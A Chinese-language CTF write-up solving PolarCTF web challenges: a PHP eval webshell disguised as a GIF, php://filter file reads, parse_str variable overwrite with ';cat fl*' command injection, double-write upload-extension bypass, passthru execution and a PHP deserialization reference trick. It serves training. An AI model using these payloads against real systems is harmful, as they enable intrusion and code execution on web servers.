web

ezupload

文件上传,随便穿一个东西发现需要传gif,改一个

1
2
3
Content-Type: image/gif

GIF89A<?php eval($_POST['a']);?>

即可

自由的文件上传系统

文件上传+文件包含
随意传个文件,包含一下即可

代码审计1

给了源码

1
2
3
4
5
6
7
8
9
10
11
<?php

highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
die("flag is no here!");
} else {
$xsx = $_GET['xsx'];
echo new $sys($xsx);
}

当我们看到new $a($b)格式的字样。说明这是一道php原生类利用的题目。

这道题是文件读取类:SplFileObject。
‘SplFileObject中的toString0()魔术方法只有在尝试将对象转换为字符串时才会被自动调用 通常,这是在使用echoprint函数时发生的,或者在将对象与字符串连接时发生。但是, SplFileObject不是一个直接支持__toString()`的类。
SplFileObject类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若
中没有给出foreach函数的话,就要用伪协议读取文件的内容。
例如:?a=SplFileObject&b=php:/filter/read=convert.base64-encode/resource=flag

http://46fd8555-f05c-43c4-bffa-6124175427dd.www.polarctf.com:8090/ ?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php

image-20240116204301861

干正则
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}

$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}

给了源码,要传参id,id经过parse_str处理

parse_str() 函数用于把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

语法:parse_str(string,array)

也就是说,如果没有array,那么我们传a[0]=www.polarctf.com,那么也就会a[0]是个变量了,这样就符合条件了,
cmd传参就简单了,这里把a[0]的给拼接了,这里直接用|就可以了,这样|后面的命令就可以执行了
http://e9c19481-2e55-4e77-9d73-5bf35f99eaeb.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=asd;cat fl*
查看源码即可。

ezphp

robots有个file文件,任意文件读取,http://10eb2514-4c9d-4aaa-bfbb-81c87b1b7667.www.polarctf.com:8090/file/file.php?filename=php://filter/convert.base64-encode/resource=../uploads/upload.php
lfi读一下upload,白名单。那么配合文件包含直接图片马即可
http://10eb2514-4c9d-4aaa-bfbb-81c87b1b7667.www.polarctf.com:8090/file/file.php?filename=../uploads/images/asdasd.png
image-20240117211315535

upload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

右键源代码给了源码,替换列表中后缀,双写绕过即可,asdasd.pphphp

cool

http://0652266e-ee52-43a0-b00b-d0a54e66a193.www.polarctf.com:8090/?a=passthru('cat fla*');

phpurl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if("xxs"===$_GET[sys]) {
echo("<p>Not a good idea!</p>");
exit();
}

$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
echo "<p>Welcome to polar LABS!</p>";
echo "<p>Flag: XXXXXXX </p>";
}
?>

image-20240117210721767

http://809e69b5-b363-456e-a92e-7f6388b058ca.www.polarctf.com:8090/index.php?sys=%25%37%38%25%37%38%25%37%33
默认传参的时候传递的值会解码一次,而题目又解码了一次,所以将xxs编码两次

image-20240118084615748

你的马呢?

图片马+文件包含

随机值

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include "flag.php";
class Index{
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;

function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
if(isset($_GET['sys'])){
$a = unserialize($_GET['sys']);
$a->getflag($flag);
}
else{
highlight_file("index.php");
}
?>

这里Polar1等于Polar2 Night=Light 随机100,因为每次请求值都是会变得。所以并不是100*100的可能性,而是比这可能性小的多
所以还是引用变量覆盖,这里要把属性设置为public。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Index{
public $Polar1;
public $Polar2;
public $Night;
public $Light;

function getflag($flag){
$Polar2 = rand(0,100);
echo $Polar2;
echo "-----";
echo '<br>';
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
echo $Light;
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
if(isset($_GET['sys'])){
$a = unserialize($_GET['sys']);
$a->getflag($flag);
}
else{
highlight_file("suiji.php");
}


echo "----------------";
$a = new Index();
$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;
echo urlencode(serialize($a));